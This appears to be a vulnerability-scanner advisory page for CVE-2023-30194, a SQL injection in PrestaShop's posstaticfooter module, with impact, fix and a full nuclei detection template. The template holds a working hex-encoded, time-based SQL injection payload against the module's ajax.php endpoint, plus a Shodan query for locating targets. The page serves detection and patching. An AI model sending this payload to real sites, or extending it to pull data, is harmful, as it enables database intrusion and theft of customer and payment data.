Prestashop posstaticfooter <= 1.0.0 - SQL Injection

criticalseverity

9.8CVSS score

32.4%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Prestashop posstaticfooter <= 1.0.0 is vulnerable to SQL Injection via posstaticfooter::getPosCurrentHook().

Impact

Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including customer data, orders, payment information, and administrative credentials from the PrestaShop database.

Fix

Upgrade to the latest version of the posstaticfooter module from posthemes.

How to confirm it

Send: GET /
Positive when: contains "prestashop"
Send: @timeout: 20s
Positive when: duration>=6 and contains(body, '\"[]\"') and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-30194 -u <target>

The full check

id: CVE-2023-30194

info:
  name: Prestashop posstaticfooter <= 1.0.0 - SQL Injection
  author: daffainfo
  severity: critical
  description: |
    Prestashop posstaticfooter <= 1.0.0 is vulnerable to SQL Injection via posstaticfooter::getPosCurrentHook().
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including customer data, orders, payment information, and administrative credentials from the PrestaShop database.
  remediation: |
    Upgrade to the latest version of the posstaticfooter module from posthemes.
  reference:
    - https://friends-of-presta.github.io/security-advisories/modules/2023/05/09/posstaticfooter.html
    - https://themeforest.net/user/posthemes/portfolio
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30194
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30194
    epss-score: 0.32413
    epss-percentile: 0.98343
    cwe-id: CWE-89
    cpe: cpe:2.3:a:prestashop:poststaticfooter:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: prestashop
    product: poststaticfooter
    shodan-query: html:"posstaticfooter"
  tags: cve,cve2023,prestashop,poststaticfooter,sqli,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - 'prestashop'
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /modules/posstaticfooter/ajax.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        module_id=1%22;select(0x73656C65637420736C6565702836293B)INTO@a;prepare`b`from@a;execute`b`;--

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - contains(body, '\"[]\"')
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from